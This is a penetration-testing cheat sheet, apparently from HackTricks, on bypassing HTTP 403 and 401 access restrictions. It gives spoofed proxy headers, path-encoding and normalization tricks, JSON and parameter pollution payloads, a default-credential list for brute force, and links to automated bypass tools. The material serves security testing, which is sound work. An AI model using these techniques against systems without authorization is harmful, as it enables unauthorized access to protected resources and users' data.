403-and-401-bypasses.md (7271B)
1 --- 2 title: "403 & 401 Bypasses" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 403 & 401 Bypasses 14 15 ## HTTP Verbs/Methods Fuzzing 16 17 Try different methods against the same resource: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`. Only use state-changing methods when the assessment scope permits them.<sup>[[3]](#references)</sup> 18 19 - Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info. 20 - Some frameworks honor headers such as `X-HTTP-Method-Override: PUT`, causing application routing to treat the request as a different method even though the HTTP request line is unchanged. 21 - Use **`TRACE`** verb and if you are very lucky maybe in the response you can see also the **headers added by intermediate proxies** that might be useful. 22 23 ## HTTP Headers Fuzzing 24 25 - **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))<sup>[[1]](#references)</sup> 26 - Try other User-Agent values from a maintained fuzzing list.<sup>[[4]](#references)</sup> 27 - **Fuzz HTTP headers**: test proxy-origin headers, a small authorized set of Basic/NTLM credentials, and related routing variations. `fuzzhttpbypass` automates many of these probes.<sup>[[5]](#references)</sup> 28 29 - `X-Originating-IP: 127.0.0.1` 30 - `X-Forwarded-For: 127.0.0.1` 31 - `X-Forwarded: 127.0.0.1` 32 - `Forwarded-For: 127.0.0.1` 33 - `X-Remote-IP: 127.0.0.1` 34 - `X-Remote-Addr: 127.0.0.1` 35 - `X-ProxyUser-Ip: 127.0.0.1` 36 - `X-Original-URL: 127.0.0.1` 37 - `Client-IP: 127.0.0.1` 38 - `True-Client-IP: 127.0.0.1` 39 - `Cluster-Client-IP: 127.0.0.1` 40 - `Host: localhost` 41 42 If the **path is protected** you can try to bypass the path protection using these other headers: 43 44 - `X-Original-URL: /admin/console` 45 - `X-Rewrite-URL: /admin/console` 46 47 - If the page is **behind a proxy**, the proxy may be enforcing the restriction while the backend applies different rules. Test [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) or [**hop-by-hop headers**](/hacktricks/pentesting-web/abusing-hop-by-hop-headers) where authorized. 48 - Fuzz [**special HTTP headers**](/hacktricks/network-services-pentesting/pentesting-web/special-http-headers) looking for different response. 49 - **Fuzz special HTTP headers** while fuzzing **HTTP Methods**. 50 - **Remove the Host header** and maybe you will be able to bypass the protection. 51 52 ## Path **Fuzzing** 53 54 If _/path_ is blocked: 55 56 - Try using `/%2e/path` (if the access is blocked by a proxy, this could bypass the protection). Try also `/%252e**/path` (double URL encode) 57 - Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check 58 - **Other path bypasses**: 59 - `site.com/secret` → HTTP 403 Forbidden 60 - `site.com/SECRET` → HTTP 200 OK 61 - `site.com/secret/` → HTTP 200 OK 62 - `site.com/secret/.` → HTTP 200 OK 63 - `site.com//secret//` → HTTP 200 OK 64 - `site.com/./secret/..` → HTTP 200 OK 65 - `site.com/;/secret` → HTTP 200 OK 66 - `site.com/.;/secret` → HTTP 200 OK 67 - `site.com//;//secret` → HTTP 200 OK 68 - `site.com/secret.json` → HTTP 200 OK (some Ruby routing stacks) 69 - Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations: 70 - /FUZZsecret 71 - /FUZZ/secret 72 - /secretFUZZ 73 - **Other API bypasses:** 74 - /v3/users_data/1234 --> 403 Forbidden 75 - /v1/users_data/1234 --> 200 OK 76 - `{"id":111}` → 401 Unauthorized 77 - `{"id":[111]}` → 200 OK 78 - `{"id":{"id":111}}` → 200 OK 79 - {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution) 80 - user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution) 81 82 ## **Parameter Manipulation** 83 84 - Change **param value**: From **`id=123` --> `id=124`** 85 - Add additional parameters to the URL: `?`**`id=124` —-> `id=124&isAdmin=true`** 86 - Remove the parameters 87 - Re-order parameters 88 - Use special characters. 89 - Perform boundary testing in the parameters — provide values like _-234_ or _0_ or _99999999_ (just some example values). 90 91 ## **Protocol version** 92 93 If the target uses HTTP/1.1, compare HTTP/1.0 and HTTP/2 behavior. Different front-end/backend protocol handling can expose inconsistent authorization or path normalization.<sup>[[3]](#references)</sup> 94 95 ## **Other Bypasses** 96 97 - Get the **IP** or **CNAME** of the domain and try **contacting it directly**. 98 - Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).<sup>[[2]](#references)</sup> 99 - **Change the protocol**: from http to https, or for https to http 100 - Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**. 101 102 ## **Brute Force** 103 104 - **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name? 105 - [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. 106 107 ```text 108 admin admin 109 admin password 110 admin 1234 111 admin admin1234 112 admin 123456 113 root toor 114 test test 115 guest guest 116 ``` 117 118 ## Automatic Tools 119 120 - [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) 121 - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) 122 - [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) 123 - [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) 124 - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) 125 - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) 126 127 ## References 128 129 - [1] [Exploiting Admin Panel Like a Boss](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31) 130 - [2] [Story of a weird vulnerability I found on Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125) 131 - [3] [OWASP Web Security Testing Guide - Testing for bypassing authorization schema](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema) 132 - [4] [SecLists - User-Agent fuzzing list](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) 133 - [5] [carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)